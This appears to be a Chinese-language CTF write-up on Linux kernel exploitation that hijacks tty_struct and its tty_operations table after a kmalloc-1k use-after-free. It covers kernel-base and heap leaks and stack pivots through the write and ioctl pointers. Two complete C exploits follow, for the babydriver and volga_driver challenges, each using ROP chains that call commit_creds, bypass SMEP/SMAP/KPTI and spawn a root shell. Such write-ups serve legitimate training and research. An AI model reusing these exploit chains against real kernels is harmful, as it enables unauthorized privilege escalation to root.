Kernel Pwn Struct tty_struct and Struct tty_operations

linux 中有一个伪终端设备 /dev/ptmx, 当 open("/dev/ptmx") 时, 会从 kmalloc-1k 中分配一个 tty_struct (0x2b8). 这个结构体关键的一些变量如下:

1
2
3
4
5
6
7
8
struct tty_struct {
    int magic;
    struct kref kref;
    struct device *dev;
    struct tty_driver *driver;
    const struct tty_operations *ops;
    // ...
}

其中 magic 是魔数, 为 0x5401, tty_operations 是一个类似 vtable 的东西:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
struct tty_operations {
    struct tty_struct * (*lookup)(struct tty_driver *driver, struct file *filp, int idx);
    int  (*install)(struct tty_driver *driver, struct tty_struct *tty);
    void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
    int  (*open)(struct tty_struct * tty, struct file * filp);
    void (*close)(struct tty_struct * tty, struct file * filp);
    void (*shutdown)(struct tty_struct *tty);
    void (*cleanup)(struct tty_struct *tty);
    int  (*write)(struct tty_struct * tty, const unsigned char *buf, int count);
    int  (*put_char)(struct tty_struct *tty, unsigned char ch);
    void (*flush_chars)(struct tty_struct *tty);
    int  (*write_room)(struct tty_struct *tty);
    int  (*chars_in_buffer)(struct tty_struct *tty);
    int  (*ioctl)(struct tty_struct *tty, unsigned int cmd, unsigned long arg);
    long (*compat_ioctl)(struct tty_struct *tty, unsigned int cmd, unsigned long arg);
    void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
    void (*throttle)(struct tty_struct * tty);
    void (*unthrottle)(struct tty_struct * tty);
    void (*stop)(struct tty_struct *tty);
    void (*start)(struct tty_struct *tty);
    void (*hangup)(struct tty_struct *tty);
    int (*break_ctl)(struct tty_struct *tty, int state);
    void (*flush_buffer)(struct tty_struct *tty);
    void (*set_ldisc)(struct tty_struct *tty);
    void (*wait_until_sent)(struct tty_struct *tty, int timeout);
    void (*send_xchar)(struct tty_struct *tty, char ch);
    int (*tiocmget)(struct tty_struct *tty);
    int (*tiocmset)(struct tty_struct *tty, unsigned int set, unsigned int clear);
    int (*resize)(struct tty_struct *tty, struct winsize *ws);
    int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
    int (*get_icount)(struct tty_struct *tty, struct serial_icounter_struct *icount);
    void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);
#ifdef CONFIG_CONSOLE_POLL
    int (*poll_init)(struct tty_driver *driver, int line, char *options);
    int (*poll_get_char)(struct tty_driver *driver, int line);
    void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
#endif
    int (*proc_show)(struct seq_file *, void *);
}

ops 在初始化的时候会赋值为一个全局变量 ptm_unix98_ops. 同时, tty_struct 上还存有一些双向链表结构的变量, 初始化后会将 next 和 pre 都设置成自身, 从而存在一些堆地址.

如果有 kmalloc-1k 的 UAF, 那么可以:

  1. leak kbase (r)
  2. leak kmalloc-1k heap (r)
  3. hijack rip (w)
  4. write arbitrary at arbitrary addr (w)

需要读功能. 可以用偏移 0x18 处的 ops = ptm_unix98_ops, 关闭 kaslr, 从 kallsyms 中读取 ptm_unix98_ops. 用泄漏出来的地址减去它, 就是基址了.

需要读功能. 可以用偏移 0x38 处的一个链表指针, 它初始指向自身. 读出后减去 0x38 就是当前 tty_struct 的地址, 也是某个 kmalloc-1k 的堆地址.

需要写功能, 覆盖 ops, 伪造一个 tty_operations

(可以把 ops 的函数指针都试试).

比如使用 write. 当跳转到 write 时, 观察寄存器, 发现 rax 就是 &tty_struct.ops, 可以找 gadget 如 mov rsp, rax 进行栈迁移, 这样可以覆盖 tty_struct.ops 之前的数据来 ROP. 不过这个空间有点小, 不够 ROP 还得再一次栈迁移.

或者使用 ioctl, 它可以通过传递参数控制一些寄存器的值. 需要注意的是, 要使用 ioctl 必须保证魔数正确, driver 是一个内核堆地址.

当 ioctl 传入的 cmd 没有预设好的, 并且 tty->ops->ioctl != NULL, 那么会调用 tty->ops->ioctl(tty, cmd, arg).

当走到这一步时, rbp = &tty_struct, 如果将 tty->op->ioctl 设为 leave; ret, 即可先将栈迁移到 &tty_struct + 0x8 处. 将这里设为 pop rsp; ret, &tty_struct + 0x10 (.driver) 处设为布置有 ROP 链的内核堆地址, 完成第二次栈迁移.

注意
到 ioctl 的时候, 不同内核版本的寄存器环境可能不太一样, 还是需要观察, 有时 rbp 不是 &tty_struct, 但是其他寄存器可能是, 然后找 push reg; pop rsp; ret 这些, 也能够达到栈迁移的效果. 如果这个 reg 是 ioctl 可控参数, 那么可以一次栈迁移. (好像其实这样更方便通用).

需要写功能, 还是覆盖 ops 然后 ioctl, 利用 mov [rdx], rsi 这种 gadget.

我们用这个方法来做一下 babydriver 这题, 并加上 kaslr 和 kallsyms 不可读.

在 qemu 启动脚本中 -append 中加入 kaslr, 在 init 中加上一行 echo 2 > /proc/sys/kernel/kptr_restrict.

因为有 read, 所以可以泄漏 tty_struct 中的信息, 如 tty_operations. tty_operations 会被初始化为全局变量 ptm_unix98_opspty_unix98_ops, 他们在内核空间, 所以可以用来泄漏, 并计算偏移.

由于没开 smap, 可以直接劫持 tty_operations 到用户空间上, 这样构造起来就很方便了.

只能控制一个函数指针, 而且没有办法像 FSOP 那样改为 system 直接提权, 所以需要做一下栈迁移. 栈也可以迁移到用户空间上, 然后 ROP, bypass smep, ret2usr 提权.

当执行函数指针 write 时, 观察寄存器, 发现 rax 的值是 tty_operations, 所以可以找 gadget 将栈迁移到伪造的 tty_operations 上. 如果栈还不够大, 可以再进行一次栈迁移.

这里可以找到 mov rsp, rax ; dec ebx ; jmp 0xffffffff8181bf7e, 而 jmp 的地址处正好为 ret. 这样一条语句就栈迁移了.

首先关闭 kaslr, 手动读 kallsyms 找出我们需要的函数和 gadget 地址, 然后分配到 tty_struct, read 泄漏地址, 计算偏移, 写 tty_operations 指针为用户空间地址 fake_tty_operations, 其 write 指针处写为 mov rsp, rax; ret gadget, 然后从 fake_tty_operations 开始位置布置 ROP 链, 修改 cr4 bypass smep, ret2usr 提权.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
// gcc exp.c -static -masm=intel -g -o exp
#include <sys/types.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/wait.h>

void success(const char *msg) {
    char *buf = calloc(0x1000, 1);
    sprintf(buf, "\033[32m\033[1m[+] %s\033[0m", msg);
    fprintf(stderr, "%s", buf);
    free(buf);
}

void fail(const char *msg) {
    char *buf = calloc(0x1000, 1);
    sprintf(buf, "\033[31m\033[1m[x] %s\033[0m", msg);
    fprintf(stderr, "%s", buf);
    free(buf);
}

void debug(const char *msg) {
#ifdef DEBUG
    char *buf = calloc(0x1000, 1);
    sprintf(buf, "\033[34m\033[1m[*] %s\033[0m", msg);
    fprintf(stderr, "%s", buf);
    free(buf);
#endif
}

void printvar(void print_handle(const char *), char *hint, size_t var) {
    char *buf = calloc(0x1000, 1);
    sprintf(buf, "%s: 0x%lx\n", hint, var);
    print_handle(buf);
    free(buf);
}

size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus() {
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    user_sp &= ~0xf;
    success("Status has been saved.\n");
    printvar(debug, "cs", user_cs);
    printvar(debug, "ss", user_ss);
    printvar(debug, "rsp", user_sp);
    printvar(debug, "rflags", user_rflags);
}

void getRootShell() {
    success("Backing from the kernelspace.\n");
    if(getuid()) {
        fail("Failed to get the root!\n");
        exit(-1);
    }
    success("Successful to get the root. Execve root shell now...\n");
    system("/bin/sh");
    exit(0);// to exit the process normally instead of segmentation fault
}
size_t func = (size_t) getRootShell;

size_t prepare_kernel_cred, commit_creds;
void ret2usr() {
    __asm__(
        "mov rax, prepare_kernel_cred;"
        "mov rdi, 0;"
        "call rax;"
        "mov rdi, rax;"
        "mov rax, commit_creds;"
        "call rax;"
        "swapgs;"
        "push user_ss;"
        "push user_sp;"
        "push user_rflags;"
        "push user_cs;"
        "push func;"
        "iretq;"
    );
}

void pwn() {
    int fd1 = open("/dev/babydev", O_RDWR);
    int fd2 = open("/dev/babydev", O_RDWR);

    ioctl(fd1, 65537, 0x2e0);
    close(fd1);

    int tty = open("/dev/ptmx", O_RDWR);

    size_t buf[4] = {0};
    read(fd2, buf, 0x20);
    size_t off = buf[3] - 0xffffffff81a74f80;
    printvar(success, "off", off);

    size_t mov_rsp_rax_ret         = off + 0xffffffff8181bfc5;
    size_t mov_cr4_rdi_pop_rbp_ret = off + 0xffffffff81004d80;
    size_t pop_rdi_ret             = off + 0xffffffff810d238d;
    prepare_kernel_cred            = off + 0xffffffff810a1810;
    commit_creds                   = off + 0xffffffff810a1420;

    size_t fake_tty_operators[8];
    fake_tty_operators[7] = mov_rsp_rax_ret;
    fake_tty_operators[0] = pop_rdi_ret;
    fake_tty_operators[1] = 0x6f0;
    fake_tty_operators[2] = mov_cr4_rdi_pop_rbp_ret;
    fake_tty_operators[3] = 0;
    fake_tty_operators[4] = (size_t) ret2usr;

    buf[3] = (size_t) &fake_tty_operators;
    write(fd2, buf, 0x20);

    write(tty, buf, 1);
}

int main() {
    signal(SIGSEGV, getRootShell);
    saveStatus();
    pwn();
    return 0;
}

菜单, 简单的 kmalloc-1k UAF, 可读写, 就不贴代码了. 保护是 smep, smap, kpti, 没有 kaslr.

这题使用 ioctl 来控制程序流. 由于没有溢出, 也开了 smap, 所以我们的 ROP 链只能够放在 kheap 上. 这里就需要泄漏一下 kheap. 首先分配一个 kmalloc-1k, 然后释放它, 再 open tty. 利用 UAF, 可以读到这个 tty struct 上的, 指向自身的指针, 从而泄漏这个 tty struct 地址.

然后覆盖 ops 函数表为 tty_addr + 0x20 - 0x60, 将 ioctl 指向 tty_addr + 0x20 这里, 因为这里是我们可以控制的位置. 我们向这里输入 leave; ret 的地址. 这样, ioctl 调用函数表这里, rbp 是 &tty_addr, leave 后 rsp 就到了 &tty_addr + 0x8. 这里也是我们可以控制的. 将其改为 pop rsp ret, 后面接 tty_addr + 0x30 (或者其他偏移, 只要在 kheap 上且能够控制), 然后便可以继续在这个位置上布置更长的 ROP 链了.

这个版本找不到 rax 放入 rdi 的方法, 所以难以构造 commit_creds(prepare_kernel_cred(0)). 幸运的是, kernel 中有个静态变量 init_cred, 他是 init 程序 (即根进程所使用的 cred), 具有 root 权限. 查一下 kallsyms 可以获得地址, 于是构造 commit_creds(init_cred) 即可提权. 最后回到用户态起 shell 即可.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
// gcc exp.c -static -masm=intel -g -o exp
#include <sys/types.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>

void success(const char *msg) {
    char *buf = calloc(0x1000, 1);
    sprintf(buf, "\033[32m\033[1m[+] %s\033[0m", msg);
    fprintf(stderr, "%s", buf);
    free(buf);
}

void fail(const char *msg) {
    char *buf = calloc(0x1000, 1);
    sprintf(buf, "\033[31m\033[1m[x] %s\033[0m", msg);
    fprintf(stderr, "%s", buf);
    free(buf);
}

void debug(const char *msg) {
#ifdef DEBUG
    char *buf = calloc(0x1000, 1);
    sprintf(buf, "\033[34m\033[1m[*] %s\033[0m", msg);
    fprintf(stderr, "%s", buf);
    free(buf);
#endif
}

void printvar(void print_handle(const char *), char *hint, size_t var) {
    char *buf = calloc(0x1000, 1);
    sprintf(buf, "%s: 0x%lx\n", hint, var);
    print_handle(buf);
    free(buf);
}

size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus() {
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    user_sp &= ~0xf;
    success("Status has been saved.\n");
    printvar(debug, "cs", user_cs);
    printvar(debug, "ss", user_ss);
    printvar(debug, "rsp", user_sp);
    printvar(debug, "rflags", user_rflags);
}

void getRootShell() {
    success("Backing from the kernelspace.\n");
    if(getuid()) {
        fail("Failed to get the root!\n");
        exit(-1);
    }
    success("Successful to get the root. Execve root shell now...\n");
    system("/bin/sh");
    exit(0);// to exit the process normally instead of segmentation fault
}

typedef struct ioctl_struct {
    int note_index;
    int note_size;
    char *in_buf;
    char *out_buf;
} request_t;

#define ADD  0x1337
#define WRITE 0x1338
#define READ 0x1339
#define FREE 0x133a
#define TTYSIZE 0x2b8
size_t leave_ret = 0xffffffff81b725f5ll;
size_t pop_rsp_ret = 0xffffffff81104cc6ll;
size_t init_cred = 0xffffffff8264c7a0ll;
size_t commit_creds = 0xffffffff8108d4b0ll;
size_t pop_rdi_ret = 0xffffffff817c39fdll;
size_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff81c00e30ll + 0x31;

void pwn() {
    size_t *tty_struct = calloc(1, TTYSIZE);

    int fd = open("/dev/volga_driver", O_RDWR);
    request_t tty_request;
    tty_request.note_index = 0;
    tty_request.note_size = TTYSIZE;
    tty_request.in_buf = (char *)tty_struct;
    tty_request.out_buf = (char *)tty_struct;
    ioctl(fd, ADD, &tty_request);
    ioctl(fd, FREE, &tty_request);

    int tty = open("/dev/ptmx", O_RDWR);
    ioctl(fd, READ, &tty_request);

    size_t tty_addr = tty_struct[0x38/8] - 0x38;
    printvar(success, "tty addr", tty_addr);

    size_t *rop = tty_struct + 0x30/8;
    size_t rop_addr = tty_addr + 0x30;

    tty_struct[0x08/8] = pop_rsp_ret;
    tty_struct[0x10/8] = rop_addr;
    tty_struct[0x18/8] = tty_addr + 0x20 - 0x60;
    tty_struct[0x20/8] = leave_ret;

    *rop++ = pop_rdi_ret;
    *rop++ = init_cred;
    *rop++ = commit_creds;
    *rop++ = swapgs_restore_regs_and_return_to_usermode;
    *rop++ = 0;
    *rop++ = 0;
    *rop++ = (size_t) getRootShell;
    *rop++ = user_cs;
    *rop++ = user_rflags;
    *rop++ = user_sp;
    *rop++ = user_ss;

    ioctl(fd, WRITE, &tty_request);

    ioctl(tty, 0xdeadbeef);
}

int main() {
    signal(SIGSEGV, getRootShell);
    saveStatus();
    pwn();
    return 0;
}

感觉这个方法比 write 那个要普适一点, 也挺模板的.